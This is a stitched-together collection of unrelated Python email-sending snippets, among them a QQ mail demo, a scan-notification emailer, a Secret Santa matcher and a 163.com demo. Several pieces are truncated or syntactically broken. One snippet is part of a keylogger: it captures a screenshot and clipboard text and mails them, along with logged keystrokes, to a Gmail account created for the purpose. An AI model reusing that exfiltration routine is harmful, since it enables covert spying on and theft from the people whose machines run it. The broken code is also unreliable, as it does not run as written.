__author__ = 'stone' import smtplib from email import encoders from email.header import Header from email.utils import parseaddr, formataddr from email.mime.text import MIMEText def _format_addr(s): name, addr = parseaddr(s) return formataddr( (Header(name, 'utf-8').encode(), addr.encode('utf-8') if isinstance(addr, unicode) else addr)) from_addr = '' passwd = '' to_addr = '' smtp_server = 'smtp.qq.com' msg = MIMEText('HELLO,SEND BY PYTHON ...', 'plain', 'utf-8') msg['From'] = _format_addr(u'python <%s>' % from_addr) msg['To'] = _format_addr(u'guanli <%s>' % to_addr) msg['Subject'] = Header(u'from SMTP ...', 'utf-8').encode() server = smtplib.SMTP(smtp_server, 465) server.set_debuglevel(1) server.login(from_addr, passwd) server.sendmail(from_addr, [to_addr], msg.as_string()) server.quit()
def send_scan_notice(self, to=None, _from=None, target=None, source=None, \ engine=None, start=None): _subject = "Scanning {tar} beginning {st}".format( \ tar=target, st=start) scan_type = None if 'masscan' in engine: scan_type = 'Network discovery scan' elif 'nmap' in engine: scan_type = 'Network discovery or host enumeration scan' text = "Automated server texting will be conducted " text += "on {tar} beginning {st}.".format(tar=target, st=start) body = """ <h3>TO WHOM IT MAY CONCERN:</h3> <p>Automated server texting will be conducted on {tar} beginning {st}.</p> <h3>OUTAGE:</h3> <p>No outage is intended for this exercise.</p> <h3>POTENTIAL IMPACT:</p> <p>No anticipated impact.</p> <h3>BACKPUT PLAN:</p> <p>If any adverse reactions are observed that requires scanning to stop, please call the Security Operation Center (SOC).</p> <table style=\"border: 2px solid #000; padding 0px; margin: 0px;\"> <tr style=\"margine: 0px;\"> <td style=\"text-align: center; background-color: #99ccff; font-weight: bold; border: 1px solid #000;\">Target</td> <td style=\"text-align: center; background-color: #99ccff; font-weight: bold; border: 1px solid #000;\">Source</td> <td style=\"text-align: center; background-color: #99ccff; font-weight: bold; border: 1px solid #000;\">Component Engine</td> <td style=\"text-align: center; background-color: #99ccff; font-weight: bold; border: 1px solid #000;\">Scan Type</td> </tr> <tr style=\"margin: 0px;\"> <td style=\"text-align: center; padding: 0px; margin: 0px; border: 1px solid #000;\">{tar}</td> <td style=\"text-align: center; padding: 0px; margin: 0px; border: 1px solid #000;\">{src}</td> <td style=\"text-align: center; padding: 0px; margin: 0px; border: 1px solid #000;\">{eng}</td> <td style=\"text-align: center; padding: 0px; margin: 0px; border: 1px solid #000;\">{typ}</td> </tr> </table> <p>Thank you for your time.</p> """.format(st=start, tar=target, src=source, eng=engine, typ=scan_type) msg = MIMEMultipart('alternative') msg['Subject'] = _subject msg['From'] = _from msg['To'] = to part1 = MIMEText(text, 'plain') part2 = MIMEText(body, 'html') msg.attach(part1) msg.attach(part2) s = smtplib.SMTP(self.smtp_host) s.sendmail(_from, to, msg.as_string()) s.quit()
def main(self): self.value.set('') def getNamesList(filename): """This function reads a file and creates a list with its contents""" participants = [] emails = [] filename = open(filename, 'r') for line in filename: line = line.rstrip('\n') sline = line.split() participants.append(sline[0] + ' ' + sline[1]) emails.append(sline[2]) filename.close() return participants, emails def read_template(filename): """This function reads a file as the template for the message you're going to send""" with open(filename, 'r', encoding='utf-8') as template_file: template_file_content = template_file.read() return Template(template_file_content) nameFile = 'participants.txt' MY_ADDRESS = self.email_entry.get() PASSWORD = self.password_entry.get() subject = self.subject_entry.get() participants, emails = getNamesList(nameFile) message_template = read_template('message.txt') partners = participants[:] # Checking if anyone is matched with themselves same = True while same is True: same = False random.shuffle(partners) for i in range(len(participants)): if participants[i] == partners[i]: same = True for i in range(len(participants)): print(participants[i], '------>', partners[i]) s = smtplib.SMTP(host='smtp.gmail.com', port=587) s.starttls() s.login(MY_ADDRESS, PASSWORD) for partners, email in zip(partners, emails): msg = MIMEMultipart() message = message_template.substitute(PERSON_NAME=partners.title()) msg['From'] = MY_ADDRESS msg['To'] = email msg['Subject'] = subject msg.attach(MIMEText(message, 'plain')) s.send_message(msg) del msg s.quit() self.value.set('Success')
def send_mail(): global message,text sender = 'your email address' password = '******' '''create a new gmail account where keylogger will send the file to NOTE: You Have to enable this: allowing less secure apps to access your account (https://support.google.com/accounts/answer/6010255) refer this link ''' #checking if the internet is connected or not if(IPaddress!='127.0.0.1'): print("connected") email_message = MIMEMultipart() email_message['Subject']=subject print(message) print(len(message)) #attaching the contents of the file as body to the message email_message.attach(MIMEText(message, "plain")) take_screenshot() message="" filename = "screengrab.png" # In same directory as script # Open file in binary mode with open(filename, "rb") as attachment: # Add file as application/octet-stream # Email client can usually download this automatically as attachment part = MIMEBase("application", "octet-stream") part.set_payload(attachment.read()) # Encode file in ASCII characters to send by email encoders.encode_base64(part) # Add header as key/value pair to attachment part part.add_header( "Content-Disposition", f"attachment; filename= {filename}", ) email_message.attach(part) email_message.attach(MIMEText("\n", "plain")) get_clipboard() email_message.attach(MIMEText(text, "plain")) text="" #here converting it into a string so that it could se send as a message send=email_message.as_string() print(len(send)) if(len(send)!=307): print('inside if') s = smtplib.SMTP('smtp.gmail.com', 587) s.starttls() s.login(sender, password) s.sendmail(sender,sender,send) send='' print("sent") else: print("not connected")
from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText from email.mime.image import MIMEImage from pathlib import Path from smtplib message = MIMEMultipart() message["from"] = "Nataraj.R" message["to"] = "*****@*****.**" message["subject"] = "This is a test" message.attach(MIMEText("Body")) message.attach(MIMEText(Path("mosh.png").)) with smtplib.SMTP(host="smtp.gmail.com", port=587) as smtp: smtp.ehlo() smtp.starttls() smtp.login("raj13a123@gmailmytext", "1222") smtp.send_message(message) print("sraj1222ent...."
# @Desc : import smtplib from email.mime.text import MIMEText # 第三方 SMTP 服务 mail_host = "smtp.163.com" # SMTP服务器 mail_user = "******" # 用户名 mail_pass = "******" # SMTP授权码(不是密码) content = '测试完啦,感谢!' sender = '*****@*****.**' #发件人 receiver = '[email protected],[email protected]' # 收件人后面用逗号隔开添加 cc = '[email protected],[email protected]' # 抄送邮件 后面用逗号隔开添加 message = MIMEText(content, 'plain', 'utf-8') # 内容, 格式, 编码 message['From'] = sender message['To'] = receiver # 接收邮件 message['Cc'] = cc message['Subject'] = 'Python SMTP Mail 使用程序发送邮件测试' # 邮件标题 #添加附件 att = MIMEText( open(u'D:\\file\\csv\\wikiped.xlsx', 'rb').read(), 'base64', 'utf-8') att['Content-type'] = 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet' attName = 'attachment; filename ="资料.xlsx"' att['Content-Disposition'] = attName #message.attach(att) try: smtpObj = smtplib.SMTP_SSL(mail_host, 465) # 启用SSL发信, 端口一般是465